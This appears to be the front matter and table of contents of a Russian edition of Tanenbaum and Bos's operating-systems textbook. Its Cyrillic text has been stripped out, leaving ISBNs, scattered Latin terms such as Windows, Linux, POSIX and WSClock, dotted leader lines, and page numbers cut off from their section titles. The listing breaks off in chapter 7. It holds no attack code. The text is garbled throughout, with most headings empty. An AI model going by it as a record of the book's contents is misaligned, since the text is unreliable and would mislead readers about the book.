Вы находитесь на странице: 1из 1120

MODERN

OPERATING SYSTEMS
4th Edition

Andrew S. Tanenbaum,
Herbert Bos

.
.

4 -

-
--

2015

32.973.3-018.2
004.451
18

., .
18

. 4- . .: , 2015. 1120 .:
. ( computer science).
ISBN 978-5-496-01395-6
,
.
. , Windows Vista Windows 8.1
. ,
Android. , Unix Linux, RAID. ,
.
. ,
.
, .

12+ ( 29 2010 . 436-.)


32.973.3-018.2
004.451

Prentice Hall, Inc. Upper Sadle River, New Jersey 07458.


. .
, , , . , ,

, .

ISBN 978-0133591620 .
ISBN 978-5-496-01395-6

Prentice Hall
, 2015
, , 2015

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301
5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 380
6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 488
7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 527
8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 576
9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 659
10. : Unix, Linux Android . . . . . . . . . . . . . . . . . . . . . . . . . 784
11. : Windows 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 931
12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1058
13. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1110

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 20
1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22
1.1. ? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . .
1.1.2. . . . . . . . . . . . . . . . . . . . .
1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.2.1. (19451955): . . . . . . . . . . . . . . . . . . . . . . . .
1.2.2. (19551965): . .
1.2.3. (19651980): . . . . . .
1.2.4. ( 1980 ): . . .
1.2.5. ( 1990 ): . . . . . . . . .
1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.2. . . . . . . . . . . . . . . . . . . . . . . . .
1.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.5. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.4. . . . . . . . . . . . . . . . . . . . . . . .
1.4.5. . . . . . . . . . . . . .
1.4.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.4.9. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.4. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.5.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
1.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . .

24
24
26
27
28
29
31
36
41
42
43
45
47
50
51
55
58
59
59
60
60
60
61
61
61
62
63
63
63
66
66
69
70
70
72
75
80
82
83

1.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
1.6.5. Windows Win32 API . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85
1.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
1.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
1.7.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
1.7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91
1.7.4. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
1.7.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94
1.7.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
1.8. C . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
1.8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 99
1.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100
1.8.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101
1.8.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102
1.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103
1.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104
1.11. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105
1.12. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 106
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 107
2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.1.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.3. POSIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.4. . . . . . . . . . . . . . . . . . . . .
2.2.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2.9. . . . . . . . . . . . . . . . . . . . . . . .
2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3.10. : . . . . . . . . . . . . .
2.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

111
112
114
116
117
118
120
122
123
124
129
133
135
138
140
140
142
143
146
147
148
150
155
158
161
167
172
175
177
178
179
186

2.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.4.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.6. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

188
195
196
197
198
199
202
203
205
205

3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 214
3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2. : . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.3.3. . . . . . . . . . . . . . . . . . . . . . . .
3.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.2. . . . . . . . . . . . . . . .
3.4.3. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.6. . . . . . . . . . . . . . . . . .
3.4.7. LRU . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.9. WSClock . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.4.10. . . . .
3.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.1. . . . . . . . . . . . . . . . . . .
3.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.5.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.1. . . . . . . . . . . . . . .
3.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.6.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

215
218
218
221
224
227
229
233
235
239
243
244
245
246
246
247
248
248
250
254
256
257
258
260
261
263
264
265
268
268
269
270
270
271
272
273
274
276
277
281


3.7.2. : MULTICS . . . . . . . .
3.7.3. : Intel x86 . . . . . . . . .
3.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

9
281
285
290
290
291

4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 301
4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.1.7. , . . . . . . . . . . .
4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.2.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.3.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5.1. MS-DOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5.2. UNIX V7 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.5.3. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

303
303
305
306
308
309
310
312
314
315
315
316
318
319
320
321
326
329
332
334
336
339
339
346
352
355
360
361
361
365
367
373
374
374

5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 380
5.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.3. -, . . . . . . . . . . . . . . . . . . . . . .
5.1.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.1.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

380
381
382
383
387
391

10

5.2. - . . . . . . . . . . . . . . . . . . .
5.2.1. , - . . . . . . . . .
5.2.2. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.2.3. -, . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.2.4. - DMA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.3. -,
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3.4. -,
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.3. . . . . . . . . . . . . . . . . . . . .
5.4.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.4.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.6. : , , . . . . . . . . . . . . . . . . . . . . . .
5.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . .
5.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.8.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.9. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.10. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

395
395
397
398
399
400
400
402
406
412
414
414
421
425
429
432
435
436
437
440
442
442
448
466
467
468
470
476
477
479
480

6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 488
6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.1.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.1.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.2.1. . . . . . . . . . . . . . . . . . . . . .
6.2.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.4. . . . . . . . . . . .
6.4.1.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.4.2.
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.4.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.5.4. . . . . . . . . . . . . . . . . . . . . . . . . .

489
489
490
492
493
493
496
497
497
499
502
504
504
506
507
508


6.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.6.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.7.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.8. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.9. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

11
510
510
511
512
512
513
513
514
516
518
518
519
520

7. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 527
7.1. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.2. , . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.3. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.4. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.4.1. , . . . . . . . . . . . . . . . .
7.4.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.5. ? . . . . . . . . . . . . . . . . . . . . . . . . . .
7.6. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.6.1. . . . . . . . . . . . . . . . . . . . . . . . .
7.6.2. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.7. - . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7.7.1. - . . . . . . . . . . . . . . . . . . . . . . . . . . . .
